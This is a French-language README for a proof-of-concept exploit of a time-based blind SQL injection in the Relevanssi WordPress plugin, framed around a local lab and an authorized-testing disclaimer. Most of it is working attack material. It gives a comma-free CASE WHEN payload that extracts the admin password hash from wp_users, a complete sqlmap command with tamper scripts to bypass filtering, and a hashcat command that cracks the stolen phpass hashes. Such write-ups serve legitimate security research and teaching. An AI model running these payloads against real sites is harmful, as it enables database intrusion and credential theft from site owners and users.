CVE-2025-4396 — Injection SQL aveugle basée sur le temps dans Relevanssi
Avertissement : Ce dépôt est destiné uniquement à des tests d'intrusion autorisés, à la recherche en sécurité et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal et contraire à l'éthique.
Présentation
Une preuve de concept d'exploitation pour une vulnérabilité d'injection SQL aveugle basée sur le temps dans le plugin WordPress Relevanssi 4.24.4. Cette implémentation cible spécifiquement les environnements durcis où :
- Les virgules sont filtrées — ce qui casse la syntaxe standard
SUBSTR(str, pos, len) et IF(cond, true, false)
- Un comportement d'attente gourmand se produit — ce qui amène MySQL à exécuter
SLEEP() avant d'évaluer l'expression complète, générant des faux positifs
Contexte
Dans certains environnements (par exemple, le labo DVWP), les charges utiles d'injection SQL standard échouent pour deux raisons principales :
| Problème | Effet |
|---|
| Suppression des virgules | Casse SUBSTR(str, pos, len) et IF(cond, true, false) |
SLEEP() gourmand | MySQL évalue le délai avant l'expression booléenne complète, générant des faux positifs |
Les deux problèmes nécessitent des solutions de contournement ciblées — couvertes par les approches manuelles et automatisées ci-dessous.
Exploitation manuelle (asy.py)
Un script Python asynchrone permettant une extraction chirurgicale caractère par caractère. Évite la surcharge des outils automatisés et contourne le filtrage des virgules via la logique CASE WHEN.
Fonctionnalités
| Fonctionnalité | Implémentation |
|---|
| E/S asynchrones | aiohttp pour les requêtes non bloquantes |
Logique d'injection centrale
# Charge utile temporelle sans virgule, basée sur CASE WHEN
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
Pourquoi CASE WHEN plutôt que IF() ?
IF() utilise des virgules et est sujet à une évaluation gourmande. CASE WHEN évalue paresseusement, garantissant que SLEEP() n'est déclenché que lorsque la condition est réellement TRUE.
Exploitation automatisée (SQLMap)
SQLMap peut automatiser la découverte dans cet environnement en utilisant des scripts de modification et des drapeaux spécifiques.
Commande
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
Référence des drapeaux
Note sur --threads=1 : Cela est essentiel pour une extraction fiable. Plusieurs threads provoquent un chevauchement des délais de veille, corrompant le timing de la recherche binaire et produisant une sortie déformée.
Résultats du laboratoire
Craquage du hachage
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
- Mode
-m 400 cible les hachages phpass
- Attaque
-a 0 est une attaque par dictionnaire directe utilisant rockyou.txt
Références